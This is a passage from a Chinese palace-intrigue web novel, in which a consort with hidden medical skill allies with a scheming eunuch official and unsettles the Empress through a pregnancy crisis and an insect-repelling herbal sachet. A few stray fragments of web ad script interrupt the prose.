逢潭终是
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先她开口：“有话就说。”
旖月怯怯道：“贵人为什么要送太子殿下东西？”
逢谭道：“你觉得不该送吗？”
旖月没敢明说，她道：“您才因太子的事情生了祸端，那会儿皇后娘娘又由着她们那样说您，显然是不待见咱们。”
“奴婢以为，多一事不如少一事。”
逢潭脚下一顿，扭头看她：“你的话，是不假。”
平日里，总是能听见影莲说她是个笨丫头。
方才的这些话，能从她嘴里出来，倒是叫人一时有些意外。
逢潭来了兴趣：“我且问你，若是此刻，是你身处我现在的处境，你当如何？”
“......”旖月沉默了。
她虽不与影莲那般成日里怨天尤人，但不免也会感叹上天不公。
就逢潭目前的处境....除了差，她甚至想不出还可以用其它什么字来形容。
差。
真的太差了。
进宫后就比旁人失了先机。
本就逢病，又遭内务府苛待，几度一蹶不振，奄奄一息。
好不容易熬过来，身子才将要好转，继而又被牵扯进了东宫的事情，真可谓是一波未平一波又起……
逢潭似是看出了她的心中所想，浅浅含笑道：“人啊，该往前看。”
风声灌耳，旖月听见她的声音轻飘飘含在风里：“没有谁会不求回报的在别人身上花心思。”
·
“听闻常大人前些日子去了娴苌宫？”铜镜前，慎贵妃才刚沐浴完，今晚陛下点了她侍寝。
她朝正欲替她梳头的藏荷使了个眼色：“去。”
宫婢闻言欠身退至一旁。
常聿动作娴熟地接过宫婢手里的玉篦，骨节分明的手指游走在她发丝的每一处。指间略带的薄茧，反而为这份旖旎美好，更添了些许实感。
慎贵妃掀眼，透过铜镜去瞧身后，男人低垂的侧脸阴柔冷隽，她忍不住娇嗔道：“皇后已然是跟陛下离了心，本宫虽如愿得摄六宫事，却也添了新的烦恼。”
“先前一个李婕妤还不够，偏生现在又冒出来个什么才人……本宫早就跟你说过，不如趁此机会了结了太子，剥削皇后一党势力的同时，正好一箭双雕除去一个隐患。”
“再过几月，李婕妤腹中的孩子就要落地了，这若是个公主倒也还好....怕就怕是个皇子。本宫虽是贵妃，可终究是膝下无子，后宫嫔妃接二连三的有孕，将来本宫又该如何在宫中立足？”
每每说起这些，她就心情不悦。
她从心底里是期待常聿能哄一哄她的，然而.....视线顺着男人的下颌往上移，落在他那透露着淡漠疏离的眉宇。
...罢了。
“之前那件玉色锦衣，本宫瞅着你穿甚是好看，”她忽然提及：“怎么后来不见你穿了？”
常聿从身后看她一眼，慢条斯理地开口：“先前穿它着了脏东西，微臣已经扔了。”
“真是可惜了你这张脸，若你不是个内侍官，”慎贵妃情绪难掩低落，顺势拉下他的手，将脸放到掌心蹭了蹭：“本宫在这深宫中，能有你相伴在侧，倒也对陛下省了不少盼头。”
常聿垂着眼，羽睫折着光，堪堪遮住眼底的神情。
慎贵妃感觉到他手中的动作一顿，看见他似是扯了扯嘴角。
她想，常聿应该也是高兴的。
“……“
常聿抽出手，神色平淡地为她盘好发髻，镜中两人视线相撞，慎贵妃对上他那漆冷的眸子，一瞬只觉如坠冬夜。
.....这么多年了，尽管她言下之意尽显，主动至此，他依旧是这副不为所动的模样。
5. 投诚
“大人，”蛮枝看常聿回来，转身跟了过去道：“已经依您的话，将前几日东宫生辰遇刺的消息放出去了。”
“朝廷向来是牵一发而动全身。所以即使陛下这几年来一直冷落皇后，两人在表面功夫上却也默契地做的体面。皇后现在唯一能依靠的就只有东宫，经此一事，她在皇帝那里凉了心，一时半会儿也热不起来，帝后不合的消息坐实了。”
常聿仔细擦着手，平淡凉薄的说道：“接下来，就要看前朝那群老狐狸谁最先坐不住了。”
“先前的事，进展的如何了？”
蛮枝道：“姜沈两家的动向，一切都在大人预料之中。”
常聿散漫扬眉，脸上总算是有了点笑意：“沈家作为慎贵妃的母家，又有兵权在手，如今在前朝又是自成一派，薄待不得。”
蛮枝唇角一勾：“属下明白的。”
旧年的最后一场冬雪毫不吝啬的下至除夕才舍得破晴。
明烛敞亮的金銮殿内，帝王坐于高台，龙颜大悦道：“近几年来，临界敌国屡犯我朝边境，今边关快马传信回京，我朝士兵在战场上各显神威，大获全胜！骠骑大将军不日即将凯旋，又恰逢如此瑞雪良景，实为开年吉兆。”
众人闻此齐齐举杯，与天子同乐。
“你父兄在书信中慰问起你，”帝王对席下的慎贵妃道：“待他们还朝之日，朕带你一同前去迎接。”
慎贵妃欣喜道：“臣妾谢主隆恩。”
“……”席的末端，逢潭百无聊赖地坐着，偶尔被几个叫不出的妃子调侃两句，她也附和着笑而不语。
那些人见她反应平平，发觉在她身上没了趣，也就没再执着与她多言。
反观跟着逢潭出来的影莲，倒是看上去兴致极高，一双杏眼乌亮亮的，不知道到底该往哪放。
逢潭晦暗不明的将这一切收近眼底，任由影莲乐享其中。
她默然地扫了一眼四周，趁帝王与一王爷闲谈的空余，悄无声息地抽身溜了出去。
凛然的凉意骤然袭卷，她下意识打了个哆嗦。
原本还处于微醺的醉意，瞬间消散了不少。
“逢妹妹身子可是见好了？”
是谁？
逢潭被人从身后叫住。
她不紧不慢地回过头，眼睛在为首女人身上稍作停留，仔细回忆一番，发觉自己并没有印象。
想来那日在承欢殿，面前的女人是不在场的。
逢潭只得礼貌的福了福身。
女人的宫婢是个有眼力见的，她在一旁提醒道：“我家贵人是玟嫔娘娘。”
逢潭莞尔颔首：“娘娘万安。”
“承蒙娘娘惦记，嫔妾已然好了不少。”
玟嫔怔怔地瞧着她好一会儿，直至身那宫婢在她耳边轻声提醒了一下，这才逐渐回过神来。
“伺候妹妹的宫人何在？外面这样寒凉，怎么不见给妹妹多披件衣裳？”玟嫔语中饱含关切：“若是再着了风，可该如何是好。”
逢潭道：“嫔妾许久未见这样的场合了，一时觉得拘束，就想偷偷溜出来透会儿气，等下就回去了。”
玟嫔道：“正巧我欲往金銮殿去，妹妹与我一道走吧？”
“.......”可她才刚出来。
逢潭心中犹豫，随后朝她又是一个福身，委婉道：“娘娘先前面走吧，嫔妾眼下还有些吃醉。”
玟嫔听出了她言下的推辞之意，便也没再强迫她。
临走时，还不忘回头提醒逢潭自己一个人注意安全。
“才刚停了雪，切要当心脚下。”
逢潭的视线随着玟嫔的背影走远，脑中浮现方才玟嫔看她时，眼神中饱含的那份复杂情绪，心中泛起不明。
她掀眼看了一圈周围，这里的确是只有她一个人。
可.....玟嫔真的是在看她吗？
接着，不过她眨眼的间隙，一道黑影从她面前飞闪而过，速度快的惊人。
“......”
逢潭先是愣了半拍，随即反应过来，循着黑影的方向跟了过去。
她远远躲在树后，虚虚看见湖心的凉亭里有两个挺拔的男人身形。
只见那黑衣人朝面前之人躬身行礼，逢潭隐隐约约听见几个细末的尾音。
嘶……
在说什么？
她拧眉，小幅度的往前挪动身子，试图听得再真切一点。
谁料逢潭才刚微微动身，头顶的发髻勾上身侧的草枝，随着她的动作，竟在这寂静的黑暗里，发出了尤为突兀的动静。
凉亭里的人敏锐地察觉到这边异常：“谁在那？！”
……他爹的！！！！
逢潭几乎是在被发现的那一刹那间，拔腿就跑。
可无奈因着双方身手悬殊，她才将将跑出不过几十米的距离，就被那黑衣人三两下的飞身追上了。
黑衣人迅雷不及地一把掐住逢潭脖子，将她重重摔到后面的朱漆石柱上。
逢潭被撞的头脑发晕，额间更是因缺氧导致的青筋迅速暴起。
“...是你。”
几近窒息的时候，忽闻一道似曾相识的浅薄嗓音入耳。
她艰难地睁开眼：“常....聿？”
常聿眼神冰冷，默了两秒后，朝黑衣人斜睨一眼：“放开她。”
逢潭失了力，身子一软，瘫倒在地上。
常聿踱步上前，看着她的残相，眼中充满寒意和戏谑：“还真是不巧。”
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“又叫贵人撞上了。”
逢潭好似一滩水般趴在地上大口喘息，冷气进体，如刀滚喉，喇的人口鼻生疼。
黑衣人道：“主子，此人留不得。”
逢潭强撑着脱了力的身子，翻眼去看常聿，似是怕他真的听了这人的话。
顾不得气息紊乱，声音沙哑打着颤开口：“你不能杀我。”
常聿闻言，似是听到了一个极大的玩笑话，阴沉的俊脸勾出怪异的笑，他嗤道：“微臣倒是很好奇。”
幽暗湖边，唯有几盏朦胧的灯笼依靠着只剩残心的烛火，与湖面相映，隐隐泛着微弱的亮光。
“骠骑大将军是慎贵妃父亲，你与她联手，无非就是想借她背后沈家之手，割裂帝后一党的势力。”
常聿不动声色地听着她娓娓道来。
逢潭喉咙滚动：“可是沈家留不得。”
“哦？”常聿身体微微前倾，手臂泠然环抱于胸前。
逢潭道：“方才在席间，陛下面上虽为战事获胜大喜，然在他与一王爷的交谈中，我听出了两人双簧下，言外的忌惮之意。”
常聿默然不语。
“沈家手握重兵，族中男丁战功赫赫，女儿在后宫又居位高权重的贵妃之位，如果我没猜错的话……他们在前朝势必也已然养成了一股可以自握的势力。”
“你不好控制的。”
常聿剑眉微挑，垂眼凝注着她：“所以？”
“比起沈家，逢家家势绵薄，更利于你掌控。且我不似贵妃那般有野心，心中更无磅礴的鸿鹄之志，只求能在宫中安稳度日。”
“今日，若大人能再留我一命，”逢潭目光如炬地直视他，一字一顿道：“他日我定为大人鞍前马后，唯首是瞻。”
“......”
常聿的情绪不显，逢潭心中有些拿捏不住。
正当她欲再次对面前之人进行新一轮的衡量跟示好时，周围的湖边小道上，倏然传来一阵脚步声。
有人来了。
眼下他们虽身处暗地，可单借薄光仍依稀可见人影轮廓，周围没有能够避身的遮挡物，从而十分显眼。
若是有心之人发现，于常聿而言或许没有影响，但于自己就不好说了……
逢潭咬了咬牙，扶着柱子勉强站稳身形。
“....常聿，我借你条命，你给我个机会。”
说完，她不带半点犹豫地踩上周边围栏，更不容常聿拒绝地纵身一跳，没入薄冰刺骨的湖水中。
“——快来人啊！有人落水了！”
那路过的宫人闻声，立马转身小跑去喊人。
“.......”
好冷……
亦如那年她险些死去的那个冬夜。
6. 盟友
娴苌宫位置本就偏僻，平时除了负责在这片洒扫的两三个宫人，几乎没人往这边走。
眼下夜已深了，四周更是万籁俱静。
逢潭从床上下来，整个人懒懒地窝在窗边的软榻上，时不时抬头瞅一眼外面。
就当她昏昏欲睡的时候，耳边蓦然响起一道语调极其慵懒的声音。
常聿单只胳膊搭在窗台，手指有一下没一下地轻轻敲着：“聊聊？”
逢潭好似早就在等待男人的大驾一般，眉眼一弯：“好啊。”
见她豁然，常聿进屋后，也果断的开门见山道：“说说吧，你的目的？”
逢潭神色从容，施然笑道：“我说过的，我心中的最大所愿就是能在宫中安身立命，平稳度日。”
常聿眼底闪着寒光，显然是不相信她的话：“只是如此？”
“逢光送你进宫的本意，是想凭你扶持逢家？”
这话的最后语调虽然上扬，仿佛是在询问，但更多的却是充满不容置疑的十足肯定。
“是。”
常聿既已直言道出，逢潭索性也懒得装：“先前我一直病着，心力交瘁，身陷囹圄已久，尚且连自己都自顾不暇，更何况再去阿谀讨好旁人。”
“而今说来，更多的....我还要感谢大人设局时将我算入其中，间接助我破开了困我已久的时境。”
常聿眸子微挑：“以你的心计，保区区一个逢家又何需依仗我？”
他还是在试探。
逢潭默然摇头：“宫里最不缺有本事和家世的女人，凭我一个个斗，岂不是要累死我？”
“相较而言，若是能在大人的羽翼下为逢家谋一栖息之地，何不悠哉？”
进宫前，逢光说过的话，在她脑海中亦如昨日般清晰。
逢潭不知道常聿背后是否有人，也不愿去深究那人是谁，这都不是她现在应该考虑的。
她想的很浅显，只论当下，目前唯一需要的就是在她的根基彻底稳固前，从这宫中寻一个踏实的依靠。
逢潭如今的处境很透明，上一次她能在常聿手中全身而退，凭靠的不仅仅是她小白花的表面与演技，更多的还有设局之人对她的不了解以及轻视。保不齐以后常聿，甚至是其他的什么人，还会不会故技重施地将她置之死地。
在任何事情上，处于被动的那方永远都是最伤人的，唯有把主动权牢牢握在自己手里，才是最定心的良药。
“那贵人可要想清楚了，”常聿站在她的身后，目光凛然道：“上了我这条贼船，想再全身而退可就难了。”
窗前的女人回过身正对着他，皎白的月光打在她的背后。
逢潭明明在笑，可常聿却丝毫感觉不到她的笑意。
自逢潭决定代替阿悦为逢家蹚进这趟浑水的那一刻时，她就已经没有退路了。
什么自由，什么伟大理想抱负，凡是被面前的层层朱墙绿瓦所束缚住，一切不过都是缥缈的奢望罢了。
她打不破，也不愿白费力。
她想好好活着。
她要好好活着。
她得好好活着。
不然就枉费了阿悦最后为她做的所有……
*
阳春三月，桃花粉嫩初绽。
李婕妤的肚子日益大了起来，晨起去皇后宫中请安的时候，她的行动已然变得迟钝。皇后见状亦如当初对待逢潭一般，许她不用日日过来，尽量减少走动，安心养胎。
慎贵妃不以为意地斜睨一眼李婕妤的肚子，道：“妹妹的肚子看起来要与寻常妇人的有些不同。”
李婕妤含笑道：“姐姐不曾生养过，又从何得知这些？”
慎贵妃闻言脸色一暗：“本宫好意提醒你仔细着些，李婕妤这话又是何意呢？”
李婕妤与她对视一眼，而后抬手抚上自己的肚子：“妹妹能有何意？不过是告与贵妃娘娘一声，贵妃娘娘无需多虑。”
“太医院日日都有人过来请脉，嫔妾与嫔妾腹中的皇子，一切安好。”
皇子？慎贵妃听完眸子一眯，自然没有了好语气：“龙胎尚未落地，李婕妤这话说得未免还有些过早吧？”
对于眼前这种嫔妃争锋相对的场景，皇后向来是不会多管的。一来后宫体系复杂，绝大多数的嫔妃并不仅仅只是帝王的妻妾，更是帝王巩固地位的政治角色，与前朝有着密不可分的关联，皇后不宜过多插手。二来嫔妃之间需要制衡。
慎贵妃自获携领六宫之权，父兄又在战场屡博头彩，风光无限，肉眼可见的是愈发骄纵了。
底下满座的嫔妃中，家世不显的不敢掺和，性子随和的不愿掺和，身子孱弱的又似杨柳扶风，无力掺和。那些周边邻国联姻过来的，有娘家底气和资本的妃子，又对此不屑一顾。
皇后即使心中早已不快，却也不好发作。
如今既有人做了这个出头鸟，皇后自是巴不得看她们与之互啄。
到时不论哪方被啄的满头包，于她而言都是为她解决了一处不痛快。
好不容易熬到散席，逢潭和影莲走在众人后面，两人无声的打着哈欠。
以前，逢潭被免了这些琐事，娴苌宫上下一惯都是睡到自然醒的。
现今，倏然要早起，倒叫人很是不习惯。
“一会儿回宫，我们先再回去睡会儿，”逢潭昨晚失眠了，干瞪眼瞪到了天大亮，这会儿正困得厉害：“不着急吃饭。”
影莲点头：“那奴婢等会去和旖月跟来乐说一声，让他们动作小点。”
主仆二人说着，脚底下的步子也越发快了。
她们前脚刚出凤鸣宫一段路，后脚便远远瞧见了本该走在她们前面的李婕妤。
“贵人，奴婢还是去帮您寻个轿撵或者太医过来吧。”
“不可，”李婕妤额间布满细汗，借宫婢的力量支撑着身子，她摇摇头：“再怎么样也得撑到回宫以后。”
宫婢搀扶着她，半天才颤巍巍地迈出一个步子，李婕妤走路已然打晃，腿脚一软，就朝地面栽了下去。
“——哎！”宫婢没忍住惊呼一声。
所幸逢潭接的快，才堪堪避免了李婕妤险些失足。
李婕妤躺在逢潭怀里，朦胧地最后看了她一眼，便昏死过去。
“影莲，去找太医。”逢潭朝面前婢子，冷静吩咐道：“你，去找人抬个轿子过来，动作要快。”
“……”
逢潭望着逐渐远去的一行人背影，眉间紧蹙。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“贵人，咱不跟过去看看吗？”影莲道。
逢潭垂眼道：“不必。”
方才她在李婕妤昏迷过去时，趁机摸了一把李婕妤的脉象。
慎贵妃没说错，李婕妤这胎是有些非比寻常。
单看先前那会儿在席间李婕妤的表现，显然是不愿让人知道自己胎象有异的事情，即使逢潭这会儿跟过去，大抵也是会被拒之门外，然后得到一个龙胎无恙的说词。
人家既有意隐瞒，自是不愿让人知道的。
何况她本也不是个喜欢多管闲事的人，就更没必要上赶着去关心。
逢潭淡然转身：“事不关己，回家睡觉。”
影莲瞠目结舌的“啊”了一声，小碎步跟上逢潭：“您还睡得着啊？”
...
红日西落，逢潭净了手，正欲用晚膳。
来乐进来通传：“贵人，常大人来了。”
逢潭闻言，神色微不可察的浮现一丝惊讶，她早就料到他会过来，但没想过会是这会儿。
“今儿个天都还没黑，大人就过来了。”逢潭低头自顾自地吃着饭：“不像大人风格。”
她虽已跟常聿结盟，但二人在明面上没有合适的由头交际，故而都是在私底下偷偷来往。
常聿在她对面坐下：“今日李婕妤的事，你也在场？”
逢潭看他一眼。
常聿道：“你待如何？”
逢潭摇头喟叹道：“李婕妤出身低微，若能得一子，也算是对自己的一个慰藉，没什么不好的。”
“不过看样子...她会比旁人更辛苦些就是了。”
常聿双目低垂，眼底泛着幽光：“你既看的清楚，为何不趁此提醒她一声？”
逢潭手中动作一顿，好整以暇地看向常聿：“我为什么要提醒她？”
“我本就不与她交好，今日之事也不过顺手之劳。我过多殷勤，又不一定会在她那讨到好。再说，假使背后存在有心之人在她这胎上做手脚，故意为之，我就更不好干涉了，我可不想给自己惹得一身腥。”
她话说完，瞥见常聿脸上的玩味神情，目光猝然一变：“.....真被我说中了？”
逢潭“啧”了一声，到底是这里能够打发时间的东西有限，个个吃饱了撑得，闲着没事干，宫门一闭不是杀这个就是堕那个的。
她放下碗筷，细细审量着常聿。
他又打算做什么？想借李婕妤的胎扳倒谁？亦或是....慎贵妃？
回忆起慎贵妃早晨在皇后宫里说过的话，尤其是在李婕妤说完腹中皇子以后，似是的确为此有着说不清道不明的介怀。
逢潭不明，慎贵妃何等出身，沈家虽为众人心中忌惮却也是朝廷不可或缺的重臣，自己又恩宠无限，犯得着去与李婕妤过不去？
“就算慎贵妃不出手，”常聿压低声音道：“皇后也不会让李婕妤过得太安稳。”
“总之，李婕妤这胎到底能不能生下来....全凭自己造化。”
逢潭一动不动地盯着常聿，心里自然明白他此趟过来，不是单纯与自己闲聊这么简单：“你想让我做什么？”
常聿挑眉道：“你不是好奇，为何这会子我不避人就过来？”
7. 藏拙
“常聿，你别卖关子了。”逢潭皱了皱眉，很不喜他这种欲言又止，吊人胃口的行为。
男人瞧她一副耐心缺缺的模样，也没再抑扬顿挫地吊着，倏而不知从哪变出一道圣旨，放置她的面前，两人明显不需要那些虚礼：“陛下已然知晓今日你挽救李婕妤险些失足的事情，故晋了你的位分。”
逢潭了然，原来是得了帝王授意。
她的视线不由被桌上的那道明黄吸引....
圣旨？真是个稀奇玩意。
随即，逢潭将它摊在手上，逐字逐句的端详着：“……”
而常聿从拿出圣旨的那一刻，目光就落在逢潭身上没有移开，他仔细揣摩着逢潭的神情，试图找到一分默然伪装下强掩的喜悦。
眼瞧着她面色愈加凝重，常聿敛下眼道：“怎么？”
面前的女子总算有了起伏较显著的反应：“....这岂不是间接把我跟李婕妤捆绑到了一起？”
逢潭深知物的两面性，待人对事从不止单看一面。
今早的事情，纯属是她出于人在本能下的一个无意之举，结果帝王就因此晋了她的位分……可倘若有人觉得她是想借机攀附李婕妤腹中的龙胎争宠，也未尝不是没有说法。
她心思向来深沉缜密，常聿又是个阅人无数的，只一眼便看穿她现在所想，冷不丁冒出一句：“正好不必费心思去刻意接近了。”
逢潭凝脸，想到他方才说过的话。
就算慎贵妃不出手，皇后也不会让李婕妤好过？
慎贵妃无子，心生怨怼倒也在情理之中。
皇后又是为什么？
她的儿子已经是太子，至于算计一个尚未出生的孩子？
“你，固有一番城府。”常聿算是看出来了，逢潭不过心思老道，内里说白了还依旧是个久居闺阁的女儿家，哪里懂得这深宫中的尔虞我诈：“可惜终究是个涉世未深的。”
“你当为何后宫嫔妃众多，陛下仍子嗣绵薄？”
逢潭坦率直言道：“难道不是陛下人老珠黄？”
常聿没料想她说话竟是这般不避人，肉眼可见的被她的直接扼了一下：“你挺大胆啊。”
抛开逢潭言语中对帝王的大逆不道，他还是头一次听人用人老珠黄来形容男人的。
逢潭却不然，因为她从来都不觉得这些东西是对某些性别的单性形容。
现如今他们二人是同一条船上的蚂蚱，常聿需要她，自然不会在这种事情上给她为难，是以敢在他面前直言不讳。
常聿道：“帝后仅有东宫一个幼子，是皇后唯一的希冀。她自然是不愿后宫中，出现任何一个会威胁到太子地位的可能存在。”
“不愿....”而不是不允？
常聿脸色阴沉道：“如果能直接扼杀，她又怎会放过？”
“所以你才会说，李婕妤这胎能不能生下，全凭造化。”逢潭后知后觉道：“尽管皇后碍于身份不能在瓜熟蒂落后动手.....不代表她不会在龙胎还在李婕妤腹中时先下手为强？”
“是。”常聿道：“不然你以为当时长街上为何唯有你们？”
“……”
常聿话及此，也不必再多说。
逢潭恍然，自己的确是忽略了这一点。
明明才出凤鸣宫几百米的距离，邻近的宫殿还有慎贵妃的栖銮殿，怎么偏生就没人注意到李婕妤呢？
无非就是皇后拿准了李婕妤势必不会将自己不适的一面暴露在众人面前的心理，并放任她与慎贵妃起了口角。
这样一来，即使栖銮殿的人有所发现，依慎贵妃的性子，也只会对她置之不理，持不作为的态度。
她处心积虑，就待这时！
可终是人算不如天算……
就因逢潭的这下无意之举，竟阴差阳错的打乱了皇后所有的布局。
眼下哪怕逢潭不与李婕妤交好，在皇后心里，大抵也已经将她归拢到了自己的对立面。
“那...常大人下一步预备怎么走？”
“……”
*
翌日，逢潭照例从皇后那儿请安出来，脚下犹豫几秒，转而往娴苌宫的反方向走。
李婕妤的宫婢黛竹正巧从寝殿内出来，她瞧着逢潭，神情一怔。
随后，立刻调整了自己的仪容，忙上前道：“逢美人怎么来了？”
影莲闻言不解地反问她：“黛竹，你这是什么话？昨儿个要是没有我家贵人，你家婕妤早就……”
逢潭及时制止住一旁跃跃欲试的影莲，示意她不要再说下去。
影莲朝黛竹哼了一声，不再说话。
逢潭故作关切道：“我瞧昨日李婕妤的模样，仿佛是没休息好？”
“正巧了，我手中有一处针对宁神安枕的奇方，不知李婕妤可愿一试？”
“这……”黛竹朝逢潭补了个礼，道：“容奴婢进去与贵人通传一声。”
趁黛竹进去传话的空余，影莲欣然道：“贵人总算是想明白了。”
“什么？”
影莲道：“这是多好的机会啊！只要您和李婕妤处好关系，来日待她诞下皇子，咱们也能跟着沾光，届时还用愁见不到陛下？”
“……”逢潭看她一眼，欲想点拨这个小丫头两句，叫她凡事不要总往自己设想的好处方面想。
谁知转眼的功夫，黛竹就出来了：“晨间寒气重，美人身子弱，我家贵人请您进去说话。”
熟悉的药香浓气迎面扑来，逢潭由然涌起一股似春雨绵绵滋润心头的久违归属感。
想她在另一个世界的时候，出生中医世家，自小便于这些草药打交道，熟记每种草药的功效，父辈的名号更是响誉整个医疗界。
后来身穿到了这里，遇到了阿悦，也是缘分使然。
阿悦所生活的那个地方村庄位置虽然偏僻，可背靠的大山上却孕育着各式奇佳的宝贝。因而她凭借自己的传家手艺，与阿悦相依为命的那三年，日子过得也算还不错。
李婕妤见她思绪飘浮，主动出声问候道：“坐吧。”
逢潭回过神，朝李婕妤浅浅一笑，走到她面前坐下。
路过熏炉时，她的眼神不自觉留滞了一下。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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李婕妤见状，不自然地扯了扯嘴角：“约摸着是月份逐渐大起来的缘故，近几个月我常常寝食难安，就连太医院开的药也是喝不进去，只能靠此法子，以解困扰。”
“昨日幸得美人出手相助，否则后果还真是不堪设想。”
逢潭微笑着，眸底一片沉静：“孕中女子，身子匮乏是难免的事，嫔妾明白的。”
“听我的宫婢说，美人有能治这方面的奇方？”
逢潭点头：“嫔妾幼时曾随一郎中学过点皮毛，略通医术。”
“你……”李婕妤愕然怔住，本就血色了无的小脸，霎时白了彻底。
逢潭表情未变，与她四目相对，尽可能的向她展现自己的友好跟善意：“贵人放心。”
“……”
黛竹送别逢潭后，不知打哪冒出来个宫婢拦住了她回宫的去路。
那宫婢扬言道：“方才请安的时候，贵人有东西落在凤鸣宫了……”
*
宫婢将逢潭带到，皇后抬眸瞥一眼逢潭。
待她将众人屏退后，逢潭困惑地眨了眨眼：“娘娘？”
皇后凝着她，但笑不语。
逢潭倒吸一口凉气，犹豫再三后，迟疑地开了口：“嫔妾不知是何东西落在娘娘这了？”
皇后隐晦道：“妹妹以为呢？”
逢潭：“……”
“嗯？”皇后无声的逼问道。
逢潭佯作思考的模样，袖中手腕暗自使力，玉镯脱落被她塞进里衣。随即，她露出自己似若白藕的手腕，神情豁然开朗：“是陛下才赏的镯子！”
皇后淡笑出声：“是吗？”
逢潭也随之含笑颔首：“陛下念嫔妾昨日对李婕妤的相助之情，还特意晋了嫔妾为美人，嫔妾很是欢喜呢！”
皇后道：“还真是了，昨日李婕妤得亏有你相助，否则腹中的龙胎可就不保了……”
她话音刚落，就见面前的逢潭摇了摇头，叹息道：“也是难为李姐姐了……嫔妾在家中时，见母亲怀二妹妹的时候也如这般寝食难安，虚弱的模样！”
“嫔妾只听闻生孩子难，不曾想怀胎时亦是如此！”
皇后轻轻阖眼：“上次你给太子制的药囊，功效可见....原不知妹妹在这上头还有研究？”
逢潭声音软绵绵的道：“嫔妾哪里懂得这些东西？不过是父亲见嫔妾幼时体弱，怕嫔妾无福享受京城风水的滋养，自小将嫔妾糙养在乡下时学来的土方。”
“这天气热了人就容易困闷，何况庄子不比皇宫，又多虫蚁，有道是一方人有一方人的活法，那里的人虽是不能从根源上解决这些问题，却也灵活地想出了应付的法子。”
皇后依旧防备心不减，似笑非笑道：“妹妹的意思是说，那药囊里的奇方，竟是乡下每家都具备的东西？”
“……”逢潭心中疲惫。
左右思量过后，唇齿轻启正欲接着圆，先前拦住她的那个宫婢蓦地闯了进来。
皇后拧眉斥责道：“慌慌张张的又有何事？”
宫婢道：“太子，太子殿下不好了！”
8. 筹握
皇后担忧太子心切，几乎是在宫婢尾音刚落的刹那，就起身下了榻。
逢潭心中唏嘘，说来这太子也才不过十岁出头的年纪，命运竟就如此颇折……
去年年末才被常聿设计受了惊吓，紧接着又是被强行安排了一套五脏排毒的套餐。时至今日，逢潭再忆起那毒药过喉的灼烧滋味……她用力地甩了甩头，欲将其从脑中赶出去，不愿再回味。
逢潭好不容易追上皇后，还不等她喘口气，抬眼便瞧见皇后僵立在太子寝殿外。
她狐疑上前：“？？？”
庭院中，男人面如冠玉，着一身玄色金祥纹过肩锦袍，双手承抱臂的散意姿态，面不改色地盯着眼前约有成人胳膊粗细的黄身长米大虫。
“……”
几个胆小的宫人被面前所物吓得心惊胆战，围缩在一起，不敢靠近。
影莲更是怕的连忙抱紧身旁的逢潭。
皇后亦是好不到哪去，声调中含带着极强的恐惧，似是怕惊扰到那条庞然巨物，她敛了声，细着嗓子轻轻唤了句：“.....常大人。”
常聿闻声漠然地回过头，眸子斜睨一眼脚边的长虫，而后提步朝她们走去。
“常大人，芜儿何碍？”
常聿淡淡道：“娘娘宽心，太子并没有被这巨物所伤。”
皇后紧绷的神经霎时得到缓解，她长舒了一口气：“那就好，那就好……”
“不过就是被些许虫蚁叮咬了几处，太医正在里面为太子上药。”
常聿话落，逢潭眼神微微沉。
“……”常聿视角的余光飘向她，捕捉到她嘴角漾起的一丝不易察觉的笑意，峻眉一挑。
倏忽间两人目光触及，逢潭主动开口询问道：“常大人，那东西.....您打算怎么处理呢？”
待她说完，常聿面上竟真的露出一副若有所思的斟酌模样出来。
逢潭：“……”
“哇！！！”
不知是谁蓦地惊呼一声，使得众人心里那根，本就提着的弦瞬间绷直了。
只见院中的那条大长虫，不觉从几时起已经正对着面前的一干人昂起了头，嘴里时不时地往外吐着鲜红的芯子，场面一度骇人。
顷刻过后，它的身子开始缓慢蠕动，不疾不徐地朝逢潭他们靠近，直至在他们身前还有半米远的位置停了下来....
接着，他们竟然在一条长虫身上看出了仿若思考的神情。
皇后：“！！！！”
逢潭：“……”
就这样一群人与一条长虫这么相对僵持了约有一盏茶的功夫。
随即飘来一股异香，长虫才悠然调头往香气的起源处探去。
待那巨物整个身子盘在竹筐中后，蛮枝眼疾手快地将它封死在里面。
得了常聿示意，蛮枝背起竹筐朝众人行了个礼便转身走了，临走时，嘴上还忍不住喃喃道：“这大家伙，之后得给它吃多少啊……”
皇后率先从惊慌中抽神，不料她才刚走了没两步，还不待进门，便又被太子寝殿门口的景象震慑住了。
——遍地可见、密密麻麻的全是经常聿处理过后的虫蚁。
甚至还偶有漏网的几只，此时正结了群的欲要往外爬。
见此景，逢潭默不作声地站到常聿身侧。
常聿微微垂下眼，将她这一不经意地举动尽收眼底：“……”
这是害怕了？
方才在面对那条长虫巨物时，都不曾见她有明显的惧意，怎得这会单单对着一些蝼蚁，便又躲到自己身后？
“为何它们都绕着你走？！”皇后细眯着凤眼，毛骨悚然地盯着这些虫蚁，方见它们在途径逢潭和自己时，纷纷略有停顿，停顿过后又回头绕路而行。想起方才逢潭也是这副处变不惊的镇定相，她质问道：“你不怕？”
逢潭泰然自若地迎上皇后的目光，似乎早就在等着她说这句话般：“皇后娘娘没发现吗？这些虫蚁何仅是避着嫔妾？”
皇后闻言先是瞳孔一缩，稳住心神后定睛仔细一看。
.....地面上的虫蚁，虽是避开逢潭所站之地，绕路而行，可同样亦是没有朝自己周围走的意思。
难道……？！
她似有所悟地翻出逢潭先前送与太子的药囊，又见逢潭失落地耷拉下嘴角，饶是一副真心被误会的楚楚可怜之态。
常聿：“……”
皇后不敢置信道：“……这，这东西真的有用？！”
逢潭委屈道：“嫔妾怎敢有不轨之心？”
皇后将信将疑地朝身旁的婢女使了个眼色，婢女会意接过她手中的东西，拿至太医面前。
经太医精心验过一遍后，朝皇后回禀道：“娘娘，这里头确实含有一些寻常的避虫草药。”
皇后追问道：“除此之外再无别的？”
那太医先是摇摇头，随即又道：“微臣瞧见这其中还掺杂连翘与大青叶等清神解毒的良药。”
“如今惊蛰早过，天儿愈发暖和，正是春困虫多的时候。若是能得这一物傍身，倒也比旁人好过不少。”
“……”
皇后顿时如雷贯耳，脸色蓦地苍白了几许。
难道是，是她间接害了芜儿……
倘若她当初没有多疑，或是听逢潭的话找人验过，芜儿是不是就不会发生这样的事了？
常聿看着眼前的情景，自是了然顿悟。
看样子，自己的这位盟友是又悄无声息地干了一件大事……？
太子高热未退，皇后寸步不离的守着，逢潭和常聿见状也很识时务的齐齐告退。
两人保持着相对的距离走出东宫，声音不沉不浅，将将足够彼此听见。
常聿道：“贵人还真是不容小觑。”
逢潭微笑着瞧向他：“大人何出此言？”
